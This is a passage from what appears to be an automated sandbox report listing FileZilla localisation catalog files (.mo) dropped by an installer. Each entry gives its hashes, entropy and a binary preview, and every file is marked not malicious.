Preview:	........Z...................................................................................2...........O.......g.......m.......y..........................................."................................................... .......).......C.......I.......W.......a.......g.......p...........$.......)...........................................!.......).......9.......=.......H.......Q.......\.......c.......q.......w................................... ...........................................................+.......1.......7.......?.......I.......Y...-...a...................................*...........................................................%.......1.......:.......F.......P.......U.......n...#.......................................4...............?...........Z.......d........................................... ..............."...................(.......:.......E.......L.......e...................................................%.......(...'..."...P.......s...................+...

C:\Program Files (x86)\Fzilla\locales\ka\is-F0H81.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 346 messages, Project-Id-Version: FileZilla3 '\341\203\222\341\203\220\341\203\225\341\203\230\341\203\223\341\203\220: %H:%M:%S'
Category:	dropped
Size (bytes):	31273
Entropy (8bit):	4.834963965479984
Encrypted:	false
SSDEEP:	384:Wu1xrYbNs1LW6fnX5mLk7Qm4+AD7YsNLBLy7cUHdTUEmPrSA/ghwBFfH8UI0ma6I:T17VIg7QII
MD5:	28A4D8D37C74052065C1B2DA31258323
SHA1:	AF94C6A4FBB319ADCFADB314844506ACEC2915FF
SHA-256:	FC53721F201C99711F0CBEDDFF0651E53036B904FA11C38AAA0583F74E151325
SHA-512:	04A7A895AE6BE26CCCA3F288FF24FC5FF160548EB4EFE311653EF9D4ABC692FE656530D083756E43B7B96347ECF1AE8A36FF823169C17EB6FDFAAD66E5F10BF8
Malicious:	false
Preview:	........Z...................................................................................2...........O.......g.......m.......y..........................................."................................................... .......).......C.......I.......W.......a.......g.......p...........$.......)...........................................!.......).......9.......=.......H.......Q.......\.......c.......q.......w................................... ...........................................................+.......1.......7.......?.......I.......Y...-...a...................................*...........................................................%.......1.......:.......F.......P.......U.......n...#.......................................4...............?...........Z.......d........................................... ..............."...................(.......:.......E.......L.......e...................................................%.......(...'..."...P.......s...................+...

C:\Program Files (x86)\Fzilla\locales\kab\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1692 messages, Project-Id-Version: kab '%H:%M:%S i yezrin'
Category:	dropped
Size (bytes):	156066
Entropy (8bit):	5.264107025266423
Encrypted:	false
SSDEEP:	3072:VGo2FbnGpn4mO7396F2YTEW7Hw8sK+7+7fsuFEsdDBc1JDMj4y4aBOH+pf8XUajd:so+Gt07t6F2YTEMvsKuWsuFEsdDBc1Ok
MD5:	B2FA0C24741C141308B1C1756E5D9943
SHA1:	D24033414D9241F64A7D0F181E123096AFD82B9F
SHA-256:	F0A317EC6250187F7FD087EB8E6EBA0A8899255D3C7F940D3260E049A820EDAB
SHA-512:	1745DA0C6C61D4815D5DA480BA68913B3091D2919481BC9CE620A7856234F9C7BE30490DC239EE6249195D918953145FE772DE03B730942C74EC04D35485832D
Malicious:	false
Preview:	.................4.......i.......i.......i.......i..S....i......Pj..A...lj.......j..0....j..B....j......3k......Hk......Rk......rk.......k.......k.......k.......k.......k.."....k.......k.......l.......l..+....m......,m......:m......Nm..5...am.......m.......m.......m.......m.......m.......m.......m.......m.......n.......n......&n..0...Fn..2...wn.......n..0....n.......n..6....o......Eo......Ko......Wo......jo..;...ro.......o.......o.......o.......o.......o.......o.......p.......p......6p......Dp..+...Mp......yp.......p.......p.......p.."....p.......p.......p..%....q.......q......6q......Fq.. ...Qq......rq..H....q..I....q..4....r......Pr..:...\r.......r.......r..4....r.......s......!s......+s......9s......Fs......Rs......]s......cs......ys.......s.......s.......s.......s.......s.......s.......s.......t.......t......&t......,t......@t......Ut......\t......pt......~t.......t..%....t..O....t..R....u..1...Zu..0....u.......u.......u.......u.......u.......v.......v......#v......<v......Cv......

C:\Program Files (x86)\Fzilla\locales\kab\is-534UH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: kab 'Aselkin deg uzrar yettwazemmel s walguritm war ta\311\243list'
Category:	dropped
Size (bytes):	7330
Entropy (8bit):	5.142135212910864
Encrypted:	false
SSDEEP:	192:nKloZGJqe790vMm3dqMWDoAnJMB2cUkNtYoHVfAo:KlokB9EqMlvpek5T
MD5:	CC37AE27FDDCC590DEBEA38233E1BF58
SHA1:	1E3858148937873E86C0CE416E1DCA560F45CA10
SHA-256:	BA05EE9428FF6F5FD1BB4186C6E8A9F83D2207D7C19E036D9BC84A6314080DB6
SHA-512:	60C277FD36069BD58AB6E06A211F0735CC3A305F3ECA026A0A406AAF6B327CD930AB24BE30A82FFE91DF2A43F16D06AAFAA9791DC4EEF509F101A6D2BD5400E3
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...7.......0...A.......r...........+.......+.......$...........&.......6.......Q.......h...%.......<...............G.......H...O..........%.......!...........................3.......N.......c.......s...................................,...........!.......>...I...R...R...............,...........<...#...W...0...{...............................................#..."...

C:\Program Files (x86)\Fzilla\locales\kab\is-GGHJ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1692 messages, Project-Id-Version: kab '%H:%M:%S i yezrin'
Category:	dropped
Size (bytes):	156066
Entropy (8bit):	5.264107025266423
Encrypted:	false
SSDEEP:	3072:VGo2FbnGpn4mO7396F2YTEW7Hw8sK+7+7fsuFEsdDBc1JDMj4y4aBOH+pf8XUajd:so+Gt07t6F2YTEMvsKuWsuFEsdDBc1Ok
MD5:	B2FA0C24741C141308B1C1756E5D9943
SHA1:	D24033414D9241F64A7D0F181E123096AFD82B9F
SHA-256:	F0A317EC6250187F7FD087EB8E6EBA0A8899255D3C7F940D3260E049A820EDAB
SHA-512:	1745DA0C6C61D4815D5DA480BA68913B3091D2919481BC9CE620A7856234F9C7BE30490DC239EE6249195D918953145FE772DE03B730942C74EC04D35485832D
Malicious:	false
Preview:	.................4.......i.......i.......i.......i..S....i......Pj..A...lj.......j..0....j..B....j......3k......Hk......Rk......rk.......k.......k.......k.......k.......k.."....k.......k.......l.......l..+....m......,m......:m......Nm..5...am.......m.......m.......m.......m.......m.......m.......m.......m.......n.......n......&n..0...Fn..2...wn.......n..0....n.......n..6....o......Eo......Ko......Wo......jo..;...ro.......o.......o.......o.......o.......o.......o.......p.......p......6p......Dp..+...Mp......yp.......p.......p.......p.."....p.......p.......p..%....q.......q......6q......Fq.. ...Qq......rq..H....q..I....q..4....r......Pr..:...\r.......r.......r..4....r.......s......!s......+s......9s......Fs......Rs......]s......cs......ys.......s.......s.......s.......s.......s.......s.......s.......t.......t......&t......,t......@t......Ut......\t......pt......~t.......t..%....t..O....t..R....u..1...Zu..0....u.......u.......u.......u.......u.......v.......v......#v......<v......Cv......

C:\Program Files (x86)\Fzilla\locales\kab\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: kab 'Aselkin deg uzrar yettwazemmel s walguritm war ta\311\243list'
Category:	dropped
Size (bytes):	7330
Entropy (8bit):	5.142135212910864
Encrypted:	false
SSDEEP:	192:nKloZGJqe790vMm3dqMWDoAnJMB2cUkNtYoHVfAo:KlokB9EqMlvpek5T
MD5:	CC37AE27FDDCC590DEBEA38233E1BF58
SHA1:	1E3858148937873E86C0CE416E1DCA560F45CA10
SHA-256:	BA05EE9428FF6F5FD1BB4186C6E8A9F83D2207D7C19E036D9BC84A6314080DB6
SHA-512:	60C277FD36069BD58AB6E06A211F0735CC3A305F3ECA026A0A406AAF6B327CD930AB24BE30A82FFE91DF2A43F16D06AAFAA9791DC4EEF509F101A6D2BD5400E3
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...7.......0...A.......r...........+.......+.......$...........&.......6.......Q.......h...%.......<...............G.......H...O..........%.......!...........................3.......N.......c.......s...................................,...........!.......>...I...R...R...............,...........<...#...W...0...{...............................................#..."...

C:\Program Files (x86)\Fzilla\locales\km_KH\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 41 messages, Project-Id-Version: 1.0 '&\341\236\242\341\237\206\341\236\226\341\236\270...'
Category:	dropped
Size (bytes):	2729
Entropy (8bit):	5.309723021212998
Encrypted:	false
SSDEEP:	48:62f9Hs2dNtxG9XYUxG9f1nG8gXXOIKp2whe09qctuO95cDoRS/3BmAk8AG7oePVs:62f9M2dNtxGyUxHUp9z97V95cDoRS/RS
MD5:	2B5110DB4CF29BB59491E54230ADB438
SHA1:	9E9FC9A7425E3D1E12E0A8F86CB3FC3BCA6097F0
SHA-256:	C8FBC56C527F5114E587436FF359BF5FE5688794D4586810D27BDF52A26AF397
SHA-512:	6DB5A64B9171F98A1D3518FAE07EC0DB9941CC9E01169A786F2201FC5C7BEA30F98BA363993EECCF174E3AB1FFC0907D7F879095EB09414785A5365E0DD3D97D
Malicious:	false
Preview:	........).......d...................................................2...........................,.......2.......8.......>.......E.......J.......U.......\.......j.......p.......x.......................................................................................................................$.......,.......:.......G.......Q.......W.......`.......e.......o......................."...4...3.......h...........#...).......M.......g.......x...................#..............."...............%...........3.......M.......[.......r...........................................$.......-...!.......O...9...n...B...................................3.......R.......b.......\|....................&About....&Account:.&Active.&Add files to queue.&Always trust this host, add this key to the cache.&Connect.&Copy to clipboard.&Edit.&File.&Help.&Host:.&Low.&Password:.&Port:.&Quickconnect.&Read.&Server.&Settings.&Skip.&Test.&Theme:.&Transfer mode:.&Upload.About FileZilla.Account.Active mode.Connecting.Connecting

C:\Program Files (x86)\Fzilla\locales\km_KH\is-N95T4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 41 messages, Project-Id-Version: 1.0 '&\341\236\242\341\237\206\341\236\226\341\236\270...'
Category:	dropped
Size (bytes):	2729
Entropy (8bit):	5.309723021212998
Encrypted:	false
SSDEEP:	48:62f9Hs2dNtxG9XYUxG9f1nG8gXXOIKp2whe09qctuO95cDoRS/3BmAk8AG7oePVs:62f9M2dNtxGyUxHUp9z97V95cDoRS/RS
MD5:	2B5110DB4CF29BB59491E54230ADB438
SHA1:	9E9FC9A7425E3D1E12E0A8F86CB3FC3BCA6097F0
SHA-256:	C8FBC56C527F5114E587436FF359BF5FE5688794D4586810D27BDF52A26AF397
SHA-512:	6DB5A64B9171F98A1D3518FAE07EC0DB9941CC9E01169A786F2201FC5C7BEA30F98BA363993EECCF174E3AB1FFC0907D7F879095EB09414785A5365E0DD3D97D
Malicious:	false
Preview:	........).......d...................................................2...........................,.......2.......8.......>.......E.......J.......U.......\.......j.......p.......x.......................................................................................................................$.......,.......:.......G.......Q.......W.......`.......e.......o......................."...4...3.......h...........#...).......M.......g.......x...................#..............."...............%...........3.......M.......[.......r...........................................$.......-...!.......O...9...n...B...................................3.......R.......b.......\|....................&About....&Account:.&Active.&Add files to queue.&Always trust this host, add this key to the cache.&Connect.&Copy to clipboard.&Edit.&File.&Help.&Host:.&Low.&Password:.&Port:.&Quickconnect.&Read.&Server.&Settings.&Skip.&Test.&Theme:.&Transfer mode:.&Upload.About FileZilla.Account.Active mode.Connecting.Connecting

C:\Program Files (x86)\Fzilla\locales\ko_KR\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1759 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \352\262\275\352\263\274'
Category:	dropped
Size (bytes):	168929
Entropy (8bit):	6.04507685389886
Encrypted:	false
SSDEEP:	3072:oZfrqQ8FusJm8fo9CFfZT2tpvOYmNYqb2BVcW:oZfrc3/fyCFfZT2v4bIl
MD5:	1E3AE78A4E0CE7DF989F77F24F8500F3
SHA1:	E0ED01042CA5C679C5CACBEC5DFECFEE37964FE0
SHA-256:	1B5A7103532B339BAC45345FB757ADE6EBBC21E2C5B258EB2FAA3D0B8D1FE0C4
SHA-512:	3011F13E26EB55FFBF0FE762FCF9FA21E505442D742DC2F9B9F3C575AA58E5B31DB896B508C7CFA115FAB8520437FEEFDF34D3296D594FAD5FDFDC2CE0B22589
Malicious:	false
Preview:	.................7.......n.......n.......n.......n..S...,n.......n..A....n.......n..0....n..B... o......co......xo.......o.......o.......o.......o.......o.......o.......o.......o.."....p......5p......Fp.......q..+...>q......jq......xq.......q..5....q.......q.......q.......q.......q.......r.......r.......r......1r......Er......Vr......dr..K....r..0....r..2....s..2...4s......gs..0....s.......s..6....s.......t.......t.......t......'t..;.../t......kt......vt......~t.......t.......t.......t.......t.......t.......t.......t.......u...... u..+...)u......Uu......hu......zu.......u.."....u.......u.......u..%....u.......v.......v......"v.. ...-v......Nv..H...dv..I....v..4....v......,w..:...8w......sw.......w.......w..4....w..$....w.......x......+x......5x......Cx......Px......\x......gx......mx.......x.......x.......x.......x.......x.......x.......x.......x.......y.......y......0y......6y......Jy......_y......fy......zy.......y.......y.......y..%....y..O....y..R...!z..1...tz..0....z.......z......

C:\Program Files (x86)\Fzilla\locales\ko_KR\is-41BJ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: FileZilla3 '\354\235\270\354\246\235\354\204\234 \354\262\264\354\235\270\354\235\230 \353\260\234\355\226\211\354\236\220\352\260\200 \354\235\270\354\246\235\354\204\234 \352\263\265\354\235\270 \352\270\260\352\264\200\354\235\264 \354\225\204\353\213\230'
Category:	dropped
Size (bytes):	6027
Entropy (8bit):	5.844477730380801
Encrypted:	false
SSDEEP:	96:HxAy/4Gt4CiqVHqk9RaOJt9gvMmO87kqGu5hPkcHPmmV/+6T1gVmqL/ALuxT5dpK:HaA1riqdLJt9gvMmdFDs6ZZi/xK
MD5:	596E122032E2469496A04B9641D8F9F3
SHA1:	CB0F08E79DBB7FAFECF4D760225C4AA0A1C9ADBB
SHA-256:	9AC48D986DE1ED4D04969A7540B6339AADB11782F3685426492395FB0DC6D8DC
SHA-512:	BA4212E2434D710586DA1FFFF722DE94A6B1DAF5327EC0BE46A582E0492C905A4CE8A5DE62544930A2F80ACAF99CCD2FA5ED97908A63D208FFA033D722AB010F
Malicious:	false
Preview:	........A.......$.......,.......,...A...-.......o...........$...............)...........................;.......X.......t...........X.......R....... ...T...!...u...............................................................+.......C.......[.......p...........4.......P..........."...#...6.......Z...)...k...............................................................0...+...G...+...s...-....................... .......0...+...$...\...........................,.......#.......%.......$...@...%...e...'.......-.......1...............5...0.......f.......n...B...........Y.......t...........%....................................... ...1.......R... ...p...`.......V.......'...I.......q...$...........................................................<.......W.......i...................E.......K.......!...G...$...i.......................................................(.......9...*...G...#...r...;.......-.......=......."...>...(...a...+.......;.......+...................9... ...S...;...t...2.......7...

C:\Program Files (x86)\Fzilla\locales\ko_KR\is-41JG9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1759 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \352\262\275\352\263\274'
Category:	dropped
Size (bytes):	168929
Entropy (8bit):	6.04507685389886
Encrypted:	false
SSDEEP:	3072:oZfrqQ8FusJm8fo9CFfZT2tpvOYmNYqb2BVcW:oZfrc3/fyCFfZT2v4bIl
MD5:	1E3AE78A4E0CE7DF989F77F24F8500F3
SHA1:	E0ED01042CA5C679C5CACBEC5DFECFEE37964FE0
SHA-256:	1B5A7103532B339BAC45345FB757ADE6EBBC21E2C5B258EB2FAA3D0B8D1FE0C4
SHA-512:	3011F13E26EB55FFBF0FE762FCF9FA21E505442D742DC2F9B9F3C575AA58E5B31DB896B508C7CFA115FAB8520437FEEFDF34D3296D594FAD5FDFDC2CE0B22589
Malicious:	false
Preview:	.................7.......n.......n.......n.......n..S...,n.......n..A....n.......n..0....n..B... o......co......xo.......o.......o.......o.......o.......o.......o.......o.......o.."....p......5p......Fp.......q..+...>q......jq......xq.......q..5....q.......q.......q.......q.......q.......r.......r.......r......1r......Er......Vr......dr..K....r..0....r..2....s..2...4s......gs..0....s.......s..6....s.......t.......t.......t......'t..;.../t......kt......vt......~t.......t.......t.......t.......t.......t.......t.......t.......u...... u..+...)u......Uu......hu......zu.......u.."....u.......u.......u..%....u.......v.......v......"v.. ...-v......Nv..H...dv..I....v..4....v......,w..:...8w......sw.......w.......w..4....w..$....w.......x......+x......5x......Cx......Px......\x......gx......mx.......x.......x.......x.......x.......x.......x.......x.......x.......y.......y......0y......6y......Jy......_y......fy......zy.......y.......y.......y..%....y..O....y..R...!z..1...tz..0....z.......z......

C:\Program Files (x86)\Fzilla\locales\ko_KR\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: FileZilla3 '\354\235\270\354\246\235\354\204\234 \354\262\264\354\235\270\354\235\230 \353\260\234\355\226\211\354\236\220\352\260\200 \354\235\270\354\246\235\354\204\234 \352\263\265\354\235\270 \352\270\260\352\264\200\354\235\264 \354\225\204\353\213\230'
Category:	dropped
Size (bytes):	6027
Entropy (8bit):	5.844477730380801
Encrypted:	false
SSDEEP:	96:HxAy/4Gt4CiqVHqk9RaOJt9gvMmO87kqGu5hPkcHPmmV/+6T1gVmqL/ALuxT5dpK:HaA1riqdLJt9gvMmdFDs6ZZi/xK
MD5:	596E122032E2469496A04B9641D8F9F3
SHA1:	CB0F08E79DBB7FAFECF4D760225C4AA0A1C9ADBB
SHA-256:	9AC48D986DE1ED4D04969A7540B6339AADB11782F3685426492395FB0DC6D8DC
SHA-512:	BA4212E2434D710586DA1FFFF722DE94A6B1DAF5327EC0BE46A582E0492C905A4CE8A5DE62544930A2F80ACAF99CCD2FA5ED97908A63D208FFA033D722AB010F
Malicious:	false
Preview:	........A.......$.......,.......,...A...-.......o...........$...............)...........................;.......X.......t...........X.......R....... ...T...!...u...............................................................+.......C.......[.......p...........4.......P..........."...#...6.......Z...)...k...............................................................0...+...G...+...s...-....................... .......0...+...$...\...........................,.......#.......%.......$...@...%...e...'.......-.......1...............5...0.......f.......n...B...........Y.......t...........%....................................... ...1.......R... ...p...`.......V.......'...I.......q...$...........................................................<.......W.......i...................E.......K.......!...G...$...i.......................................................(.......9...*...G...#...r...;.......-.......=......."...>...(...a...+.......;.......+...................9... ...S...;...t...2.......7...

C:\Program Files (x86)\Fzilla\locales\ku\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 228 messages, Project-Id-Version: FileZilla '%H:%M:%S derbas b\303\273'
Category:	dropped
Size (bytes):	14829
Entropy (8bit):	5.27645645740533
Encrypted:	false
SSDEEP:	384:xrnwiJv5GoCnEbBjZtN1DstWtEx6glX/LjPAy:x7w3oHBNX1DI6KX/nPAy
MD5:	1F1345D3CD16B336A96E9E4267A1749E
SHA1:	6EAE212A4FC8C1E7BBB79ECF7C8889CE470E04D7
SHA-256:	4A15156AF1FBFB7ABABC0AA3BE985C7C335AEA6C819D3C2678D382C4A64E5FFF
SHA-512:	BF29492F5AEE8BB2B1708B7CA7616AD3863EF6DE0AA49FE5BFE7EBC9FE31DB262B75AC78086CB44CA3F6A7D46B60D616F313F64F5C2DA4C44A93A1B795689AFE
Malicious:	false
Preview:	................<.......\.......\.......].......n.......\|...............................................................................................................2.......;.......A.......G.......P.......i...$...p...)...................................................................................&.......4.......:.......B.......J.......R.......d.......l.......v.......\|...........................................................................................4...........L.......U......._.......\|..........."...................................................................2.......=.......T..."...q...................................................................6...........>...(...Z...................2...(.......[.......l.......................................................................................4.......K..."...d...-...........................................................................4.......K.......R.......[......._...$...y...;...................................

C:\Program Files (x86)\Fzilla\locales\ku\is-G7GII.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 228 messages, Project-Id-Version: FileZilla '%H:%M:%S derbas b\303\273'
Category:	dropped
Size (bytes):	14829
Entropy (8bit):	5.27645645740533
Encrypted:	false
SSDEEP:	384:xrnwiJv5GoCnEbBjZtN1DstWtEx6glX/LjPAy:x7w3oHBNX1DI6KX/nPAy
MD5:	1F1345D3CD16B336A96E9E4267A1749E
SHA1:	6EAE212A4FC8C1E7BBB79ECF7C8889CE470E04D7
SHA-256:	4A15156AF1FBFB7ABABC0AA3BE985C7C335AEA6C819D3C2678D382C4A64E5FFF
SHA-512:	BF29492F5AEE8BB2B1708B7CA7616AD3863EF6DE0AA49FE5BFE7EBC9FE31DB262B75AC78086CB44CA3F6A7D46B60D616F313F64F5C2DA4C44A93A1B795689AFE
Malicious:	false
Preview:	................<.......\.......\.......].......n.......\|...............................................................................................................2.......;.......A.......G.......P.......i...$...p...)...................................................................................&.......4.......:.......B.......J.......R.......d.......l.......v.......\|...........................................................................................4...........L.......U......._.......\|..........."...................................................................2.......=.......T..."...q...................................................................6...........>...(...Z...................2...(.......[.......l.......................................................................................4.......K..."...d...-...........................................................................4.......K.......R.......[......._...$...y...;...................................

C:\Program Files (x86)\Fzilla\locales\ky\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 557 messages, Project-Id-Version: Filezilla pot '%H:%M:%S \323\251\321\202\321\202\322\257'
Category:	dropped
Size (bytes):	36312
Entropy (8bit):	5.529332216261294
Encrypted:	false
SSDEEP:	768:wW2kCQrcHpazaOoId0xjSnjBwiwvDEoWX3Af+3Bk2YAUwGQ:wWKQ4JazvdCOn9BAf0k27D
MD5:	A4D75DE691580F848F3AF93A14B846CD
SHA1:	9063813AEF305C932F5DBDD5DD65C0C4AD24318A
SHA-256:	7C3C4185F3FF24CE9C548BD690D8A9F79C630B7733B7EB8F3B9D6AEEC551DF4A
SHA-512:	8426B23EFB7D9663E9CE7E3F480D09DBC14D2754CB5B820FA0EB08D88815920860BAA78481984410C13AE30CCED0F108FADB2C8F0729338C191DC43C974A1625
Malicious:	false
Preview:	........-................".......".......".......".......#..A...(#......j#..0...{#..B....#.......#.......$.......$.......$......'$......7$.."...Q$......t$.......$.......$.......$.......$.......$.......$.......$.......$.......$.......%......)%....../%......;%......C%......N%......Y%......p%.......%.......%.......%..+....%.......%.......%.......&.......&.......&......,&......4&......D&......Z&......f&......}&.......&.......&.......&.......&.......&.......&.......&.......&.......'.......'......)'......2'......O'......Z'......`'......t'.......'.......'.......'.......'.......'.......'.......'.......'.......(.......(...... (......O(......o(..$...z(.......(.......(.......(.......(.......(.......(.......(.......)....../)......K)......X).. ...j).......).......).......).......).......).......).......).......).......).......).......).......).......)................)..........>......E......S......e......k......v.....................................................................

C:\Program Files (x86)\Fzilla\locales\ky\is-B3G09.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 557 messages, Project-Id-Version: Filezilla pot '%H:%M:%S \323\251\321\202\321\202\322\257'
Category:	dropped
Size (bytes):	36312
Entropy (8bit):	5.529332216261294
Encrypted:	false
SSDEEP:	768:wW2kCQrcHpazaOoId0xjSnjBwiwvDEoWX3Af+3Bk2YAUwGQ:wWKQ4JazvdCOn9BAf0k27D
MD5:	A4D75DE691580F848F3AF93A14B846CD
SHA1:	9063813AEF305C932F5DBDD5DD65C0C4AD24318A
SHA-256:	7C3C4185F3FF24CE9C548BD690D8A9F79C630B7733B7EB8F3B9D6AEEC551DF4A
SHA-512:	8426B23EFB7D9663E9CE7E3F480D09DBC14D2754CB5B820FA0EB08D88815920860BAA78481984410C13AE30CCED0F108FADB2C8F0729338C191DC43C974A1625
Malicious:	false
Preview:	........-................".......".......".......".......#..A...(#......j#..0...{#..B....#.......#.......$.......$.......$......'$......7$.."...Q$......t$.......$.......$.......$.......$.......$.......$.......$.......$.......$.......%......)%....../%......;%......C%......N%......Y%......p%.......%.......%.......%..+....%.......%.......%.......&.......&.......&......,&......4&......D&......Z&......f&......}&.......&.......&.......&.......&.......&.......&.......&.......&.......'.......'......)'......2'......O'......Z'......`'......t'.......'.......'.......'.......'.......'.......'.......'.......'.......(.......(...... (......O(......o(..$...z(.......(.......(.......(.......(.......(.......(.......(.......)....../)......K)......X).. ...j).......).......).......).......).......).......).......).......).......).......).......).......).......)................)..........>......E......S......e......k......v.....................................................................

C:\Program Files (x86)\Fzilla\locales\ky\is-IQLR1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3 messages, Project-Id-Version: Filezilla pot '\320\220\320\273\321\213\321\201\320\272\321\213 \321\201\320\265\321\200\320\262\320\265\321\200\320\264\320\270\320\275 \321\201\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202\321\213 \320\270\321\210\320\265\320\275\320\270\321\207\321\202\322\257\322\257 \321\215\320\274\320\265\321\201.'
Category:	dropped
Size (bytes):	619
Entropy (8bit):	5.664389560285669
Encrypted:	false
SSDEEP:	12:iCafiag5TIt02vtRQMF//y4/MqJvXmBQWiOWzBek10rZxBlt6FE:/af85TIt0qtyMty4/zXmGz8ZxBlt62
MD5:	60288B4A6419B532452524A6C23ECEF8
SHA1:	026E060D479EC5C43B16144CEB3EB8FF16167623
SHA-256:	F15E750C07EF781BEB22368CD97810AB1FB3B514901495E4F737E04F563B5ECF
SHA-512:	8FC1B2EF4A616289F6373AB389B57474FF6E92DA58DC798782F62A0BBFC0EC0AF80051B8DC04E3370B95E004C092B4D5ACC5BDB8AC6657436E872BB8186FD533
Malicious:	false
Preview:	................4.......L.......L.......M.......m.......u...S...........Z....Remote certificate not trusted..unknown.Project-Id-Version: Filezilla pot.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2012-11-14 23:21+0600.Last-Translator: Chynggyz Jumaliev <translatorky@lavabit.com>.Language-Team: Kirghiz <ky@li.org>.Language: ky.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=1; plural=0;.X-Generator: Gtranslator 2.91.5........ ......... ........... ......... ...............

C:\Program Files (x86)\Fzilla\locales\ky\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3 messages, Project-Id-Version: Filezilla pot '\320\220\320\273\321\213\321\201\320\272\321\213 \321\201\320\265\321\200\320\262\320\265\321\200\320\264\320\270\320\275 \321\201\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202\321\213 \320\270\321\210\320\265\320\275\320\270\321\207\321\202\322\257\322\257 \321\215\320\274\320\265\321\201.'
Category:	dropped
Size (bytes):	619
Entropy (8bit):	5.664389560285669
Encrypted:	false
SSDEEP:	12:iCafiag5TIt02vtRQMF//y4/MqJvXmBQWiOWzBek10rZxBlt6FE:/af85TIt0qtyMty4/zXmGz8ZxBlt62
MD5:	60288B4A6419B532452524A6C23ECEF8
SHA1:	026E060D479EC5C43B16144CEB3EB8FF16167623
SHA-256:	F15E750C07EF781BEB22368CD97810AB1FB3B514901495E4F737E04F563B5ECF
SHA-512:	8FC1B2EF4A616289F6373AB389B57474FF6E92DA58DC798782F62A0BBFC0EC0AF80051B8DC04E3370B95E004C092B4D5ACC5BDB8AC6657436E872BB8186FD533
Malicious:	false
Preview:	................4.......L.......L.......M.......m.......u...S...........Z....Remote certificate not trusted..unknown.Project-Id-Version: Filezilla pot.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2012-11-14 23:21+0600.Last-Translator: Chynggyz Jumaliev <translatorky@lavabit.com>.Language-Team: Kirghiz <ky@li.org>.Language: ky.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=1; plural=0;.X-Generator: Gtranslator 2.91.5........ ......... ........... ......... ...............

C:\Program Files (x86)\Fzilla\locales\lo_LA\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1255 messages, Project-Id-Version: FileZilla Lao '\340\273\203\340\272\212\340\273\211\340\273\200\340\272\247\340\272\245\340\272\262\340\273\204\340\272\233\340\273\201\340\272\245\340\273\211\340\272\247 %H:%M:%S'
Category:	dropped
Size (bytes):	174021
Entropy (8bit):	5.090992088442991
Encrypted:	false
